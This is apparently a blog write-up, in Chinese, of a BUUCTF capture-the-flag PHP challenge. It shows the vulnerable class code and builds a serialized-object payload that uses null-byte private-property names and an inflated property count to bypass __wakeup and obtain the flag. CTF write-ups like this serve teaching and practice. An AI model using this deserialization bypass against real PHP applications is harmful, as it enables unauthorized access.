buuctf_php

原创

君陌上 于 2021-08-01 09:32:14 发布 59 收藏

buuctf_php

我们来看下这道题，打开后有提示备份文件，对于备份文件我们可以使用御剑扫描后台目录

下载这个www.zip后发现

名称	压缩前	压缩后	类型	修改日期
.. (上级目录)			文件夹	
class.php	1 KB	1 KB	PHP 文件	2019-10-14 07:23
flag.php	1 KB	1 KB	PHP 文件	2019-10-14 08:44
index.js	10.3 KB	3.6 KB	JavaScript 文件	2017-11-06 04:26
index.php	1.8 KB	1 KB	PHP 文件	2019-10-14 08:34
style.css	1 KB	1 KB	层叠样式表文档	2017-11-06 04:26

有这些文件，首先打开flag.php，发现不是我们想要的flag，所以我们打开class.php，

```php
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>
```

首先我们注意关于username和password都是private，这个在下面的解答中会用到

```
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
```

然后打开index.php观察这个代码，由unserialize()知涉及反序列化，再打开class.php

```
function __destruct(){
    if ($this->password != 100) {
        echo "</br>NO!!!hacker!!!</br>";
        echo "You name is: ";
        echo $this->username;echo "</br>";
        echo "You password is: ";
        echo $this->password;echo "</br>";
        die();
    }
    if ($this->username === 'admin') {
        global $flag;
        echo $flag;
    }else{
        echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
        die();
```


我们可以知道只有username为admin时且password为100时，才会输出flag
而反序列化后调用_wakeup会直接覆盖输入的用户名。一个简单的办法是直接在class下面创建一个对象然后序列化。由此我们可以构造playload

```
$a= new Name('admin',100);
$b= serialize($a);
var_dump($b);
```

O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
此时我们需要注意两个点，一个是private属性序列化:%00类名%00成员名，所有要在Name、username、以及password前面加%00，另一个是关于_wakeup函数，因为要绕过wakeup,把Name后的数字改成3，**当反序列化时，若属性个数大于真实属性个数时，则会跳过__wakeup()**，本题得解